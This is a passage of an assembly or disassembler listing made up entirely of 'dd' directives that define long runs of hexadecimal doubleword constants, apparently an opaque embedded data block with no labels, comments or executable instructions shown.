		dd 254CE04Bh, 0C8484A57h, 6A004DB4h, 0A836D7E5h, 0FD82EEh
		dd 0EA3CC596h, 0C3804AD1h, 431340Dh, 0D80E315Dh, 0F9C0BF88h
		dd 33D5E3h, 8B81AE3Bh, 7D2F1EF6h, 1428412h, 6864A809h
		dd 1D8B8B8h, 0F860687Fh, 602FF175h, 51C9A696h, 795CF15Ch
		dd 1D5218F9h, 0CFFC073Eh, 5EDD6BE3h, 805FD669h,	26180EDCh
		dd 2CCC2259h, 0FC1E3C3Ah, 3000A6DEh, 0FF6E2B9Dh, 79C88121h
		dd 8D6300B4h, 3FD878E3h, 45252F31h, 0FAABA001h,	0BDA0685Bh
		dd 368230E6h, 779BA00h,	0F70854BBh, 0BC4A48C3h,	37329480h
		dd 14F8F619h, 6828151Ch, 2F5BB480h, 27348C84h, 68109540h
		dd 473957EAh, 9F910222h, 0A9C93120h, 9534C5A4h,	0F2020861h
		dd 0B8D6B338h, 0AE2DDC60h, 8BE58CB0h, 16DBAA59h, 8BE705B4h
		dd 0C0B97F69h, 0D2B06D25h, 0F61A207Ch, 9D38C013h, 80BE1178h
		dd 35F7836h, 0BAD20024h, 4E9BAAF2h, 809A21F1h, 0B953AC20h
		dd 188C79B4h, 6BFE00B7h, 0E5DFABFh, 307884E7h, 0ACCBE14Bh
		dd 8FC0B088h, 475ED6h, 0E878D4A3h, 0AE835A39h, 94CA458h
		dd 5A5B4C49h, 1F4620A0h, 310B3AEEh, 19D3251h, 7356EC1Ch
		dd 7E429A4h, 25963F4Fh,	1040B8E4h, 6714157Ah, 1898ACA6h
		dd 5B8691B6h, 88589DC4h, 19C8FB18h, 4843095h, 468070E0h
		dd 8DAC4055h, 0A02C3C59h, 691263AAh, 4885D8B0h,	10C84562h
		dd 0CBE30957h, 0FA11801Dh, 0D989409Dh, 705EC0E2h, 62A8109Dh
		dd 0FAC70012h, 577D3A08h, 7826792Bh, 6C017990h,	266DF8E8h
		dd 49F87EDEh, 0A464C865h, 42DCD860h, 0B2C29E18h, 5D96B3D8h
		dd 2ABD70C7h, 9B4AC421h, 2869E6F8h, 95C1F7E7h, 1049D4A7h
		dd 8A0D8046h, 0A62CCE0Eh, 3FCFC0D5h, 7F075948h,	0A0C7F896h
		dd 284376Ch, 0FA1BEE66h, 0A8D267CDh, 0DA7FAB02h, 4247A095h
		dd 1951601Ch, 0BF752D99h, 0FDEA58C8h, 3E04180h,	862583Ah
		dd 3698F3CBh, 0F4014EFAh, 1FC9434Fh, 203E664Ch,	0AFCC3578h
		dd 1DD553Fh, 9964DFB8h,	0F8E446C8h, 0A9C71EB2h,	0A3FC01DBh
		dd 25B63A83h, 962CEC08h, 0C7C9A402h, 7C880E69h,	61580B10h
		dd 94985C72h, 5441A545h, 0C7012896h, 61D98074h,	1C00411h
		dd 98831265h, 5874A44Ah, 0E3C54200h, 97271FA1h,	0B72E0ED5h
		dd 2AC08766h, 0B04D6734h, 47CF9B18h, 0A348DA30h, 0D460A8DDh
		dd 0E1FF0004h, 93093E9Dh, 49007D20h, 98ACB5EDh,	0B09E3Fh
		dd 0E8EC31CEh, 0B7F16C69h, 4CE29D06h, 12847A4h,	0F42EBAF8h
		dd 0E88C1FFDh, 281D9845h, 20307EC5h, 336CF0Bh, 4983FCB0h
		dd 408F74D4h, 0F12C0FC9h, 7C009B78h, 440D414Dh,	74DFB1EEh
		dd 8B96027h, 0E3434A91h, 0A8412C03h, 9042F12Bh,	0EC3946h
		dd 0C9AAC6DCh, 8694775h, 0D7501000h, 2EF00ECAh,	0F714308Ah
		dd 1732E811h, 5A502B00h, 0E9CEF8C9h, 8BFD304Bh,	3781A890h
		dd 5A48F01h, 84CB5E6h, 0E08938D4h, 36420C93h, 48C8EAF0h
		dd 51670707h, 0CA70A5B3h, 3A17666Ah, 180369B4h,	9526098Bh
		dd 72002876h, 2A54C035h, 0F4DB4944h, 0B286001Bh, 0D5CF51C8h
		dd 0A0A8FB2Dh, 3E043F5Ah, 0FCE0D76Ch, 0DFD84BC0h, 8199017Bh
		dd 0C5C698D1h, 0C04270B3h, 8A8FDA03h, 8831D2F0h, 0F0FF5A79h
		dd 261501F8h, 2E6D94E5h, 368C4790h, 790A2A93h, 0E7F8CDEDh
		dd 4CEFA700h, 1FE04714h, 80968FCCh, 413EFB67h, 440CF670h
		dd 200EFDC9h, 48EA4Ch, 0B0C4514Dh, 2EA7C66Dh, 4B5D9D12h
		dd 0BB4E0Bh, 0F5A63F0h,	0EA6430B0h, 0B38FD639h,	0F7EE1A0Dh
		dd 0C9F06869h, 0B1CA07F0h, 0EB420FE7h, 9900CF50h, 744A614Fh
		dd 3C71CBC6h, 4C87AE18h, 13BF8Dh, 242329B3h, 0CCAAA807h
		dd 77727E1h, 0DE46404Eh, 3F3F23Fh, 18334090h, 9CC82A58h
		dd 440E5694h, 4034D8B7h, 0A20CB99Dh, 0FB7499h, 0F4CB5CB2h
		dd 0F6B10AAAh, 0F14AAC01h, 0B372B4E4h, 118C6F3h, 0F9506C36h
		dd 5B827A5Ch, 0D1670820h
		dd 0F7BE03E5h, 37A365A7h, 31FEC0DFh, 7107D783h,	0CF42DEF3h
		dd 9AD77C0h, 0B672008Eh, 5EA39FFh, 0A721253Dh, 4981CC65h
		dd 84944220h, 30B60714h, 70E90E0h, 2711C0BDh, 0E7E49C74h
		dd 0B1136713h, 77DB5400h, 0A43E34Eh, 669876B7h,	0A508B234h
		dd 0D36380A1h, 0A0D01AFBh, 91072CF8h, 4056D4B4h, 2F037B50h
		dd 30772A27h, 44AF9E8h,	43F71F7Eh, 0CFCE0045h, 9E2CE11Dh
		dd 55FD011Fh, 0B3A0DF81h, 0BFD8B7BCh, 0DD6B0668h, 2903D569h
		dd 840508EBh, 8C11D342h, 4E92119h, 8BF08C9h, 17EF4267h
		dd 0C286F02Eh, 7B4251AAh, 2114D211h, 0ABDA0CF1h, 22848F29h
		dd 85441A6Ch, 367000A3h, 95829B64h, 0A10F6586h,	4E2939h
		dd 0AE6B8C3Fh, 36323E42h, 0B7180F73h, 0BAC3545Ah, 5890EFADh
		dd 0D3034E81h, 0EA98A0B8h, 68F6E819h, 590600DAh, 8757ACDDh
		dd 5A005EF4h, 56462505h, 7561F2h, 95735B34h, 418D9B07h
		dd 1EAB7909h, 0B6C88033h, 0AAB383h, 8BBC60F3h, 73E0EC2h
		dd 49DE7730h, 0EF31C6h,	35D06E5Dh, 0B510DD93h, 0F87A23Eh
		dd 40553B32h, 764DB32Fh, 99980046h, 4A4C36CDh, 82FA1E8Ch
		dd 0DB21620Eh, 0ACB240E3h, 6FF231h, 0C1F14C5Dh,	9DEC3812h
		dd 0C8E1A700h, 0B179CCD0h, 0F8AC00C3h, 11FA63C0h, 0D100EC57h
		dd 772E1B3Bh, 7191705Ah, 45190196h, 28BAA9Fh, 28688061h
		dd 75FD6A35h, 6DDB002Ah, 8057B4EDh, 4B0F76CAh, 602F26F1h
		dd 68C9BA45h, 223A00ACh, 28CB43D1h, 0D0C74782h,	30807562h
		dd 534F7Dh, 8D794C7Fh, 0B7213380h, 3CD1E505h, 0A4C11471h
		dd 64200A96h, 1847BD6h,	8164F7F9h, 400BB11Bh, 0F2E56DC8h
		dd 13E6A30Bh, 0E245037Bh, 3738E896h, 1B6F038Ah,	0DFC866B0h
		dd 27D62109h, 10C18163h, 0D207006h, 96F103E9h, 0CC30E30Bh
		dd 0C117F7C0h, 7569B600h, 7DB89578h, 8040FD4Eh,	109222Fh
		dd 0E44B18E1h, 24D8B997h, 48012BB4h, 0F182998Ch, 0C247B39h
		dd 0E1121F26h, 400064C7h, 555AEBF2h, 64CD1F1Dh,	0A2548Fh
		dd 0FF5D3B95h, 6950003Ch, 8CED4C3h, 0E09051F1h,	0E21C202h
		dd 6005D014h, 0FA1B3C86h, 0A717002Dh, 61FF2F3Dh, 8B007389h
		dd 27602EDDh, 0FDE1A803h, 1CDE0EBh, 7E130084h, 735DF68h
		dd 31C0D827h, 2918C6B5h, 0A6F50141h, 38D27BA8h,	27D9DC7Fh
		dd 250AD003h, 0A8180BC9h, 0E46E9244h, 0C1713Ch,	7C9E4AAEh
		dd 5E09CE03h, 0D00B0800h, 0D151B52Fh, 2C3500DEh, 3A76106Dh
		dd 0C53F975Dh, 0F78107FAh, 7C00D80Bh, 8853AEh, 1DCC4AFBh
		dd 4C762023h, 0A5659307h, 0FC70A449h, 9EC12Ah, 1B87B4E3h
		dd 9CF54628h, 8023AA3Eh, 364912A2h, 9A3E66h, 97987A0Ch
		dd 0BC6E4E42h, 78BE4Ch,	3748EE58h, 3922533h, 4FFE5285h
		dd 90C0343Ah, 0C1792B1Fh, 1EDC6100h, 0F949A76Ah, 4EB4007Eh
		dd 529A6D1Dh, 0E3007182h, 5D3C23F6h, 41D1C5h, 0C796AFDh
		dd 868921A9h, 9AA5CB0Fh, 20728974h, 7A60D334h, 56291E4Ch
		dd 70EA465h, 31371B83h,	20D682C0h, 0DF0060F4h, 64C63ECBh
		dd 1CBB7EA8h, 4063CDD8h, 62A38428h, 4F005305h, 0E5085DFBh
		dd 92A2E397h, 0F0450A38h, 2C8C743Ch, 68D40069h,	13FFCEA7h
		dd 804CB43Bh, 0D0642AC4h, 59BE5A5h, 0CE3A8F80h,	80D4C42Bh
		dd 8458693Ch, 0E01FFE75h, 9005526Ch, 0ACC44085h, 283CFC00h
		dd 6F8AEDCh, 0BF4B68B7h, 4906385Dh, 0C67064B8h,	957060h
		dd 6CAC14FAh, 0DA769D94h, 70E55600h, 3B686B46h,	0E4BE0B7Eh
		dd 0C0074D0h, 0E0298A3Ah, 73EDA503h, 0B5B20Fh, 0A6EA8F48h
		dd 21575CADh, 974C7098h, 0F98500C4h, 7723CEDAh,	7071009Ah
		dd 8DF10692h, 0D80076D2h, 4B6DB63Ch, 0E41829h, 72B3DD63h
		dd 0A6689048h, 0DC08D403h, 0D0A45667h, 0EDB291h, 88158D59h
		dd 0D4F08904h, 62B38602h, 0C0D6CA1Fh, 0CC6698h,	9E5F18E4h
		dd 0BD79FA4Ah, 421C4D1Eh, 0F802C05h, 0DAE60C81h, 6AD499F3h
		dd 0AE1AF0h, 0D81D7108h, 4317C56Dh, 7CA40B0Fh, 1FBE403Eh
		dd 3012DA6Bh, 96E4F14Eh, 0A100BBC4h, 0E7176535h, 0C2EADFCFh
		dd 0D20EFED8h, 6CE273E0h, 53261C00h, 0F78E2723h, 0F350137h
		dd 0D6C186D9h, 7A9C40EAh, 41494084h, 8DFE003Ch,	3DB993Eh
		dd 0D6F900D0h, 519D5BECh, 0C33A4BB9h, 4E73000Fh, 0BA884707h
		dd 504304CFh, 0C0A7A0C2h, 6D318D78h, 6BDF4104h,	0ECCC843Fh
		dd 58E272DCh, 0E40030B1h, 27ECD238h, 551EE352h,	0FB438F65h
		dd 0E0C578C0h, 185B5F9h, 0D45BB79Ch, 0E030CEE3h, 2907FA87h
		dd 5347AB74h, 0B9F90720h, 4A7F002Bh, 0C96C7303h, 4C003DEBh
		dd 7E879BE3h, 0EAFAE43Ah, 56D30016h, 0BD810428h, 5A0058AFh
		dd 7767B74Ah, 0DEEB7Dh,	258507F2h, 178B6D66h, 1193E40Ah
		dd 6E16E8D5h, 0A7302500h, 7122176h, 354595A1h, 582B804Ah
		dd 6C00529Fh, 0FD75023Eh, 2664BFCh, 59B61730h, 10E88055h
		dd 8C0253A8h, 0C63586DBh, 990CE3FAh, 6D00D156h,	0A202C2F7h
		dd 0DB291AA8h, 37F0402Ch, 61A600B4h, 157A0DC3h,	800AD5CDh
		dd 0A4CBDCFBh, 88F4D143h, 0FEB540h, 7A295E88h, 9583FF43h
		dd 5FB4EE00h, 18EA4D7Bh, 8FFC05C0h, 906DAE98h, 0B60A4B30h
		dd 0DB08800h, 8091EEDBh, 56F200EDh, 0C1F41A7Fh,	940F6541h
		dd 40CCDC40h, 32E0FF30h, 9B2F0070h, 7AC81CD7h, 770BD05Ah
		dd 342BFE7h, 0E0BECAE7h, 0C14EDDh, 0EE96062Ch, 8DB683A7h
		dd 0DF1CAC01h, 4B2DC264h, 0FD3C9CCh, 0AE545966h, 0CFE1A28Fh
		dd 602E040Dh, 0C407995Ch, 77D3CBFFh, 0D7B312F0h, 70324980h
		dd 0D6CD1700h, 713A3349h, 0DDE09D01h, 2644038Ah, 0AC7AF4h
		dd 0BB5C9204h, 331F7225h, 6E246300h, 0A2098966h, 147A09E6h
		dd 3C02F9A8h, 8840EB04h, 0B81D90E4h, 39004C6Dh,	695E1F5Ah
		dd 0FCA50060h, 8F12158Eh, 5F2E094Ah, 0BC8C70h, 807EDACEh
		dd 0E2C3BEh, 4FB1BAB7h,	0EA42ACBCh, 0A93B6778h,	83913C48h
		dd 34FF35E8h, 3C12F86Ah, 0BCF20144h, 60C9961h, 40CBC547h
		dd 1B9341DCh, 0A50134F4h, 9554649Eh, 8C402888h,	52564Dh
		dd 32025747h, 54FD37A7h, 32786F8h, 17B7630h, 0E2EE695Dh
		dd 8E31D4C1h, 1AA05702h, 0E0080E51h, 0F77306Fh,	0B5425619h
		dd 8C7494DEh, 4321253Bh, 332D7B00h, 0D2756Ah, 0E7F8B34Eh
		dd 9B01AE23h, 949D0602h, 0E0B96F83h, 1610CDBh, 8E3B379Ch
		dd 82D157F9h, 0B15BAF62h, 4EC86820h, 0F08D3E28h, 31826600h
		dd 89A0B31Ah, 7D2A39C0h, 0C08329C4h, 0AE720711h, 2E002516h
		dd 601FB0F8h, 3B85265h,	5C295DFCh, 0A3B6953h, 0A4191E32h
		dd 4782FF00h, 0B887DF8Ah, 5ACB00E0h, 0F6C3B21Eh, 0AE007608h
		dd 0AB7C9138h, 50105395h, 79D5A82Ch, 9F1D00CFh,	0BF3D4BD4h
		dd 183CAC7Bh, 3048CEh, 1FB579E9h, 0D97536h, 8FD099E4h
		dd 0A6DEE287h, 7DC0DA00h, 0DFE1FF08h, 0F7F155Bh, 0AD3CA877h
		dd 0B0CAACh, 544D934Bh,	0AC780DC8h, 0A2B1C200h,	1E8E6337h
		dd 0F346143Ah, 0DD01FB8Fh, 83530833h, 0A40C305Bh, 87A622Eh
		dd 0A203350Eh, 60D89738h, 0CDFA00h, 0C54C7E20h,	8BCFF5D4h
		dd 0BB0F1000h, 97EA1703h, 644B5CA3h, 8005561Ch,	3F833078h
		dd 0D25A825h, 3208086h,	49DACBh, 0A6BF939Bh, 7FE83E23h
		dd 9CEB58h, 0CB3FE1E3h,	3EC3801h, 0B2460C1Fh, 0D8D0DE67h
		dd 0C7033B32h, 37FEAB91h, 4A327D4Dh, 643C001Dh,	61EE7F9Ch
		dd 40F0AE1Fh, 0EFDD3240h, 58CE8792h, 2C77D8C9h,	0B938BF2Ch
		dd 5820DF1Dh, 0DA0411BCh
		dd 133F24Ch, 0AF8783D2h, 0C0ECFAC9h, 7A06030Eh,	1196B48Bh
		dd 8FDAF298h, 0A04A1B00h, 0ED8C9447h, 84FF0038h, 8A46DB26h
		dd 0BB00B663h, 0D14F6265h, 40EEDEh, 589A2E8Fh, 35AA5DE2h
		dd 0C6B4E300h, 0B70169D8h, 0CC3C2CFCh, 4C3F001Ch, 0EBCF7585h
		dd 0BD00AAE4h, 6D718D9Ah, 755F333Ah, 8AF10747h,	0E18F9798h
		dd 700BDC19h, 0CF3DF8B4h, 44118353h, 0D0F7A50Ch, 0F0169A76h
		dd 0C9BF007Ah, 3EC11DA1h, 700CA7Eh, 0D419D9AAh,	7CBBEEDh
		dd 10E2B0FAh, 0A6422003h, 71006BBDh, 0D96AFD73h, 7220937h
		dd 45698689h, 87806BFCh, 0F9ACEC99h, 1828834Ah,	53DB008Eh
		dd 0F5243906h, 7203E492h, 0E2AB49BFh, 5D62995Fh, 0BB3FD40h
		dd 97E500E9h, 6B75129Bh, 70C32B8h, 0D80615D6h, 29E4A9D0h
		dd 3EE882DDh, 4E550060h, 0A8F6F52h, 8B050F7Ch, 0C1BFD65Dh
		dd 1BE590C0h, 389026h, 8FBC071Dh, 66DC283Bh, 5D2AD600h
		dd 6547C172h, 3D2B004Fh, 0A8835097h, 0A493570h,	5AB60044h
		dd 9FFA378Eh, 0F72600D9h, 5E4AB4E8h, 1D3AE9E5h,	0DEB88760h
		dd 2C1E0F6h, 4605A8Ch, 398EC92h, 26F856C6h, 2005F73Ch
		dd 67F96E1Ch, 97E0E487h, 306545BBh, 54E00F18h, 0A313B482h
		dd 0EC80A9EDh, 96A2D1h,	8B66A802h, 9D65D5E0h, 71D28A00h
		dd 5A25F5BBh, 81E498h, 0F11DEE29h, 0CFE3C75Dh, 1289F30Ah
		dd 6D84DC0Ch, 0FCA29DB8h, 167E9013h, 0ADC04018h, 74F7705Eh
		dd 9D298700h, 254D4FAFh, 9A803A2Ah, 0A38038BFh,	6D19337Dh
		dd 0DEFA7723h, 56004871h, 441AF9B5h, 2084B7Eh, 2126C275h
		dd 0C5E0B497h, 8B001E94h, 12C432C9h, 1E4DF7FEh,	0FEBF74A5h
		dd 0E8DD4780h, 0CACD0AF0h, 0E9820E0Fh, 51BCA073h, 0F041A746h
		dd 0B9F300BDh, 775E8586h, 0E5004822h, 4B665494h, 0B0C04A57h
		dd 63271CA0h, 0F4740435h, 0DFD000D1h, 1EF3F6h, 44CDC588h
		dd 0EF1146A3h, 42EEA21Eh, 5A124545h, 1424E600h,	5EB96ABh
		dd 5C167BFh, 0FD081F3h,	374C802h, 0DC6CD900h, 0C3781225h
		dd 0A6AD01CDh, 24833293h, 6B5BECB8h, 0F909FA00h, 0D16FB297h
		dd 0EEDA001Dh, 0C1929EBCh, 7007A4Dh, 76F114EFh,	7AB498E7h
		dd 2912000Fh, 1A1F1EEBh, 950267C3h, 57AFBFB7h, 9AA060BDh
		dd 0DCE01D87h, 83F8E6A8h, 0A9B6BFF5h, 0ECA7CAF9h, 0C3009639h
		dd 9C06D531h, 58B0CEBAh, 721860h, 2795436Eh, 5CEBA233h
		dd 0AAC0D307h, 0A21F624h, 0A8233FDCh, 0C58D7300h, 0E5E89BF1h
		dd 762D625h, 0B3240800h, 0F2A6E480h, 987701D9h,	1613EFDEh
		dd 29D4D8A2h, 0ACC3ED03h, 80B43E5Ah, 5E0ABD9h, 1522A9D6h
		dd 29068054h, 0DD03BEB0h, 0B750886Ah, 1CD3D8F4h, 6C93070Ah
		dd 0CA838B78h, 2B4803D5h, 49E0BA3Fh, 1500C8FDh,	1A4656EFh
		dd 974DAEh, 8D1373A9h, 0CAA063CCh, 0C053DC00h, 2B744B28h
		dd 0FC6A0010h, 67C20FD6h, 250055B3h, 71859F18h,	1DF0F3DAh
		dd 0C074582Ch, 5A6C0690h, 7D07F6B1h, 0B9291D27h, 0E06B4711h
		dd 3C3834h, 77FB8C3Bh, 9519F661h, 6EF38A00h, 43942148h
		dd 0E28D078Fh, 0B0EAB055h, 0B22D5DA3h, 0D802834Ah, 68F64696h
		dd 92017E0h, 8D5C951h, 0A060C80Fh, 0E30E21C5h, 0FB4CAE01h
		dd 0CEB8833Eh, 7A3C60DAh, 6F550084h, 1A771F1Bh,	35733A13h
		dd 908CB403h, 0D8B0568Eh, 7E13295h, 83AE81CAh, 3023B7C8h
		dd 7FACF1DBh, 2942FD01h, 4EC4AF8Fh, 5526C4h, 0BD4CC06Eh
		dd 2595A35Ch, 1CB5D24Ch, 0C4019B7h, 72939F0Fh, 26F40408h
		dd 0C0339A28h, 663F9C18h, 15FF4800h, 730BD62Ah,	0AC5C008Ah
		dd 75EE3813h, 6D03FB8Fh, 493E1481h, 12F7F8FEh, 0E03007C3h
		dd 30F92A36h, 6D2EBCB6h, 8083283Dh, 43F5988Dh, 17165FAh
		dd 22B5CA39h, 301DFD0Ah, 91FEEDCBh, 7CF04426h, 4164D40Eh
		dd 0FB398228h, 608020h,	7B5ADFC3h, 0C113583Dh, 10BEF300h
		dd 0D1980C8Ah, 7F3B0591h, 0D0E8A829h, 0F3B0AD0Ch, 0A3775F0Fh
		dd 0BA3313h, 0BCA666EEh, 0C1017D11h, 0E09FDC2h,	51E021DCh
		dd 3AF770EEh, 2880F17Ah, 0D6D31758h, 0A305F679h, 70AAB756h
		dd 0F785B8C0h, 7195887Bh, 0D8009E7Ah, 0B218E60Fh, 583D9BDEh
		dd 63032A8Ah, 84F82408h, 0EFD75A8h, 270022FEh, 9FB8459Ch
		dd 0F86BBE2Dh, 0F06E0074h, 0EE2E8D75h, 0F100C496h, 76BF9D80h
		dd 0FAE4008h, 294A3DD2h, 0D3E0811Eh, 0E046E638h, 4303D0C1h
		dd 0B4EE4F58h, 0F14A0287h, 0A741DE8Bh, 0D7148B40h, 44D0DCE1h
		dd 6117102Dh, 0A2402008h, 7E89C76Bh, 12D900E2h,	19CE34AEh
		dd 0BA0027EEh, 2F7D6792h, 3989F5h, 0E2FAB87Ah, 608C2FFh
		dd 0AEED7500h, 0F5041568h, 9C5148E3h, 6CDA6500h, 1F9D41C1h
		dd 1AC65603h, 0B04FD9E6h, 0EB75BF2h, 0CDA7922Ch, 3D2125E0h
		dd 13074EE3h, 81B6967h,	0B41728A0h, 0A06F07CCh,	0BE2458h
		dd 0EFA8A264h, 25005D7Dh, 0B6DFA9F6h, 0F1B89C9h, 6991CC4Dh
		dd 0F0447EA5h, 3AFA7628h, 5601C501h, 11822D7Dh,	0DD64F940h
		dd 8A9B02C6h, 0A172C4FDh, 6D98AC80h, 7B0001F8h,	9D20DDA8h
		dd 9D6DB9Ch, 0C7E00D7Fh, 79322440h, 0EE010E7Bh,	0DF789EAFh
		dd 708B505Bh, 270E3D67h, 7C86F081h, 17687CD2h, 0D05EE86Fh
		dd 0B2BBC000h, 0E8A33E7Bh, 185DE881h, 210A136Fh, 0D21F558Ch
		dd 7A87BBAFh, 0A340B3C8h, 27D816h, 34F02CE1h, 0E58FCF0Dh
		dd 0C49D7B00h, 0CBD2B24Bh, 740C0A3h, 3B197F96h,	9DCDEC00h
		dd 53B2FAD6h, 1E91EAEEh, 80D2862Fh, 0A4B616C7h,	8210DA50h
		dd 35C0D079h, 34FA32D2h, 0CA50F37Ch, 132AC70Ch,	0AF00AC2Dh
		dd 0E87A82E3h, 0DA0D6Fh, 0A6C6E756h, 23173106h,	7002ED05h
		dd 28C0259Ah, 41424Bh, 665613BCh, 8822A865h, 6D786000h
		dd 93FB3BE3h, 214C00B2h, 38B7EF6Bh, 0DF00F680h,	0C0EA69Fh
		dd 0EC6C56h, 1198157Ah,	0EA99AB6Eh, 9E3E66E4h, 0B6388022h
		dd 26A52A83h, 0E5E020h,	0B50843CCh, 0B8E2CFB4h,	32B66500h
		dd 54E925EEh, 9B524A96h, 0FE044240h, 98AC6BE0h,	3F42F48h
		dd 4023CBDCh, 0E1678BB7h, 188411D8h, 4FDF33DEh,	826A8314h
		dd 8DFBE0EEh, 58A7906Fh, 17A20CDh, 0B8FF4FD7h, 0FC5B6903h
		dd 0AF00B2ABh, 0C4C2D029h, 7EA145Ah, 43A04146h,	0D455E06Ch
		dd 0D8313ACBh, 1B9418E7h, 0F8560AE4h, 4863B0C5h, 0E531E453h
		dd 83BD4A90h, 6D56FC78h, 79C90651h, 0D1E254E6h,	0EC7BBA07h
		dd 0B300A9F7h, 7EAE26D5h, 5C7C91h, 0EFEAD0B2h, 1DD660Ch
		dd 0D4C6BB18h, 30BDD139h, 3E60B86Eh, 0A001C138h, 0DC69B7BCh
		dd 188991DEh, 5890E29Eh, 0B46E9C3Bh, 28C483C0h,	673105CDh
		dd 388C2Fh, 0CC74D208h,	48FF6BE7h, 5572A4B4h, 0A1076900h
		dd 923150C4h, 0DFE8C04Dh, 3D0BEF51h, 1A579C00h,	0A1138F5Bh
		dd 1179C0BEh, 52E2C3E8h, 0D4F0500h, 58EB533Bh, 47D70CB2h
		dd 0B129BBC4h, 902F662Ah, 0C852CB00h, 3E4147CCh, 0C0E4E053h
		dd 0D6F8EBB8h, 953A8EBAh, 1B18019h, 0B20D4A05h,	75200071h
		dd 4DE5BF3h, 300B7DAh, 419E7939h, 0EC937628h, 0E695E0F4h
		dd 24AF85Eh, 0A203DFDh,	444D5134h, 0FB13C040h, 0A5AC0A83h
		dd 30CB7F7h, 57BF829Eh,	80C0D4C3h, 39C0A19Fh, 0F41278A6h
		dd 33A21634h, 894190Bh,	0FC21804Eh, 0DD51ECA0h,	0ADDF0770h
		dd 4C481B3Ch, 0B81956F8h, 4658CE22h, 718349C9h,	6F386BEh
		dd 0C87C0AD0h, 3FD67B1Fh, 0C90A6868h, 0A4C7FC5Ah, 901BBC02h
		dd 105441D6h, 12EFA460h, 20BF72B5h, 0B7373320h,	16241180h
		dd 214FA147h, 0EC84A7C8h
		dd 8B583E7Ah, 0FB861994h, 6468BB08h, 118C4C00h,	7B30C432h
		dd 0C7482267h, 7F9E4AD3h, 6B601060h, 7D307B5Ch,	7DCE0BEh
		dd 0B2B18356h, 964C21A9h, 0F44101BAh, 435432C5h, 21C040C6h
		dd 22EF297Ah, 0AE4C811Ch, 74174F9Ch, 3FE23B24h,	0D44D5A01h
		dd 0A68A7B57h, 58885C20h, 368268F6h, 998062E9h,	0D1D2831Bh
		dd 30814B3Ah, 0F16C215Dh, 0F2190762h, 0A2D73A21h, 8C8065C8h
		dd 32153C20h, 0C45DB524h, 479A2341h, 24A1F5C0h,	441430B8h
		dd 0E408C177h, 69D7004Eh, 30C10A1Eh, 8421EBh, 968FCA6Eh
		dd 0B854E97Eh, 900079A4h, 101275EFh, 53F6FEh, 703A392h
		dd 615A29Fh, 0D0965107h, 77003AF5h, 49DED537h, 7C80349Ch
		dd 8234E812h, 0B3108E43h, 0A4F802D9h, 608661ECh, 8036D1A4h
		dd 0D0603BB8h, 0F6111FB9h, 26917D9h, 0A0C010C1h, 0EE009723h
		dd 83C97762h, 3B44869Bh, 62F60791h, 606A0559h, 7986E192h
		dd 36FF5E01h, 0BED86346h, 0A5686C20h, 6038E4CCh, 4CE99FB8h
		dd 3305E4D9h, 10823C7h,	0F28E07CCh, 0C6F1923Ah,	136CA914h
		dd 6C00A28Fh, 57F05288h, 0BEE9C0D1h, 67E6CC70h,	0A1ABD506h
		dd 49086D6Fh, 9500B4B7h, 0AF73CC98h, 4024EFA0h,	6A0C043Dh
		dd 9BD2869h, 9FDD16C9h,	4F05A02Eh, 1A44885Fh, 98F3740h
		dd 407C1B21h, 512FE418h, 0FA902383h, 0C0CC7601h, 0E4186567h
		dd 9E9321C0h, 70382CCCh, 62F3E657h, 4F957032h, 7D3E8C52h
		dd 0F61D801Eh, 37DB9206h, 0A1B1C081h, 47C4C843h, 74116760h
		dd 92252617h, 2F34690h,	0C87B62F2h, 10423123h, 1E62FA6Dh
		dd 2CC840A0h, 577A0838h, 93280803h, 74980336h, 533070CBh
		dd 0F8608AA2h, 0BA449E76h, 0FE5E008Ch, 18603E4Ah, 1303753Fh
		dd 3BB401C1h, 71039CC4h, 60131708h, 5421B5CEh, 8042F83h
		dd 9FC1F7A0h, 0E0A18FCCh, 879EC0E8h, 0E81CADCCh, 5841FABEh
		dd 0EB3852D2h, 7E45E460h, 477433EDh, 7FA125A0h,	280334Eh
		dd 3E78118Eh, 10AE31FBh, 0F119646h, 28DF27B9h, 0D6547743h
		dd 66059900h, 5198F9C2h, 6F8503EBh, 0ED36DFBh, 0E4B001E2h
		dd 3A157CC9h, 80701Bh, 4A0A27CEh, 0BB8647h, 0DD7591B2h
		dd 4605CA59h, 0A4A748BAh, 19603AC4h, 272113Fh, 29056B0Eh
		dd 483A4284h, 0AD18C3BEh, 0B54EDC31h, 9920E980h, 9E7DCF4Fh
		dd 3800D4F2h, 6FE3E2F7h, 0EC5E57h, 787227A9h, 0DC172521h
		dd 8885E0A2h, 5354CC9Ah, 23E04452h, 53C2CFCh, 6275678Ah
		dd 9120B9E0h, 153CC9Ch,	939D3BB3h, 0D3A50332h, 41BF6CC9h
		dd 7052D384h, 0E8A4476Ch, 0E4203345h, 8AEF0CDCh, 8720B158h
		dd 9D5A98C4h, 0E0E01F0Eh, 0E85430F0h, 0FA4391C0h, 1CD9C8A2h
		dd 0C3706C50h, 0B2AB891Ah, 91A088E0h, 643ACA09h, 4C104EE6h
		dd 5DBC9868h, 0E22D098Ch, 0C49033B8h, 0C50B0540h, 0A0AC6838h
		dd 0B16AB4D4h, 3B490E9h, 76BFED17h, 0D8FA5334h,	366888C1h
		dd 808EE0D4h, 1DD904EBh, 83A3B8D7h, 15F426B8h, 648A8450h
		dd 3020DC84h, 217862F5h, 90C0FBC8h, 7D62FDh, 2E557E02h
		dd 0ED417835h, 8478C858h, 8D0B49Eh, 0F977E1h, 0C509C972h
		dd 0EA8C51A9h, 33BC091h, 9FFBD3EFh, 0CF310E55h,	6F207125h
		dd 2FA03C76h, 7B5C600Eh, 0F72601BAh, 71E3078Dh,	968B0289h
		dd 924A9906h, 909760D7h, 0F5D1786Eh, 6AF869F5h,	0D6460022h
		dd 0C60EEC61h, 790F7887h, 74ED8FE8h, 24210144h,	0E3C4685Ah
		dd 0A8200031h, 63BE13A5h, 1D3C20E6h, 11B0CDDBh,	0EAC89F02h
		dd 60D02DEDh, 93BBB8C0h, 0F8ECD810h, 80B79E2Ah,	25504205h
		dd 0E481CB08h, 0D844A4DDh, 4FA35C81h, 11088A0Ch, 0CEDB3E74h
		dd 0F24A07D1h, 0FE608711h, 0BCCD2Fh, 21779536h,	0D346382h
		dd 57122C90h, 688BD576h, 30D9B384h, 4840BC60h, 7313FCBDh
		dd 46F8F0A1h, 912ED9C0h, 1CC4FCE1h, 41AF4E51h, 188BEC06h
		dd 0D0F4706Fh, 4D40574Ch, 0A468219Ch, 0E4215C1Ch, 52FD9C56h
		dd 0A76862E7h, 18897CC1h, 125890E8h, 2C8313C8h,	0F0006F68h
